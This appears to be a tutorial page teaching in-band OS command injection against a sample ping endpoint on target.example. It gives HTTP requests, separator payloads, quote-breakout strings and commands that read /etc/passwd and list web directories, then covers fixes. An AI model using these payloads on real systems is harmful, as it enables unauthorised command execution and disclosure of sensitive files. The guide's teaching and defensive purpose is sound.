OS Command Injection: The Complete Practical Guide

Classic In-Band OS Command Injection

How to exploit in-band command injection: the separator family, append versus replace, reading output, and breaking out of a mid-argument quote.

Published

In-band command injection is the easiest case and the place to start: the vulnerable feature runs your injected command and the output comes straight back in the response. This page covers the separator family, the difference between appending and replacing a command, and the quoting breakout you need when your input lands mid-argument. Practice on a free live target.

Why in-band is the gentle case

When a shell-backed feature reflects its command output (a ping result, a conversion log, a file listing), any command you inject shows its output too. You get immediate, readable confirmation and can iterate quickly. The whole skill here is choosing a separator the shell honours and, when needed, breaking out of the quoting around your input.

Step 1: find a shell-backed parameter

Look for a value that feeds a system tool, then send a normal value and confirm the command's output is reflected. A diagnostics "ping" endpoint is the classic example:

POST /api/diagnostics/ping HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
 
host=127.0.0.1
HTTP/1.1 200 OK
Content-Type: text/plain
 
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.031 ms

The response is the raw ping output, which tells you the value reaches a shell command whose result you can see.

Step 2: append a command with a separator

Add a separator and a benign probe like id. The semicolon runs your command after the original:

POST /api/diagnostics/ping HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
 
host=127.0.0.1;id
HTTP/1.1 200 OK
Content-Type: text/plain
 
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.029 ms
 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The uid=... line is id executing on the server. That is confirmed in-band command injection.

The separator family (append vs replace)

Each separator behaves slightly differently, and a filter that catches one often misses another:

host=127.0.0.1;id        # run id AFTER ping (both run)
host=127.0.0.1|id        # pipe ping's output into id (id ignores stdin, still runs)
host=127.0.0.1&&id       # run id only if ping SUCCEEDS
host=127.0.0.1||id       # run id only if ping FAILS (use a bad host to force it)
host=;id                 # ping gets no host and errors, then id runs
host=$(id)               # substitute id's output into the ping argument

Appending with ; keeps the original command intact. Using || with a deliberately invalid host (host=notahost||id) runs your command on the failure path, which is handy when the original command must fail for yours to fire.

Breaking out of a quote

If your input is placed inside quotes in the command string, for example ping -c 1 "<input>", a raw separator is treated as literal text and nothing runs. Close the quote first, inject, then reopen so the rest still parses:

host=127.0.0.1";id;"            # closes the ", runs id, reopens a "
host=127.0.0.1';id;'            # same idea for single quotes

When a separator seems ignored, assume you are inside quoting and try a breakout before giving up.

Step 3: read what you need

With execution confirmed, run real commands, all reflected in the response:

host=127.0.0.1;cat /etc/passwd
host=127.0.0.1;ls -la /var/www
host=127.0.0.1;uname -a

If at any point the output stops coming back (a filter strips it, or the feature is asynchronous), you are no longer in-band and should switch to blind and out-of-band detection. If a character or keyword is blocked, see filter and blacklist bypass.

Fixing it

  • Do not pass input to a shell. Use an argument-array API (execFile, subprocess.run([...], shell=False)) so your value is one argument, never parsed for separators.
  • Allow-list the value (a valid hostname or IP) and reject anything else.
  • Prefer a native library over shelling out to a tool at all.

Full guidance is in preventing command injection. Next, handle the case where nothing comes back in blind and out-of-band detection, or try an in-band injection on a free lab.

← Back to OS Command Injection: The Complete Practical Guide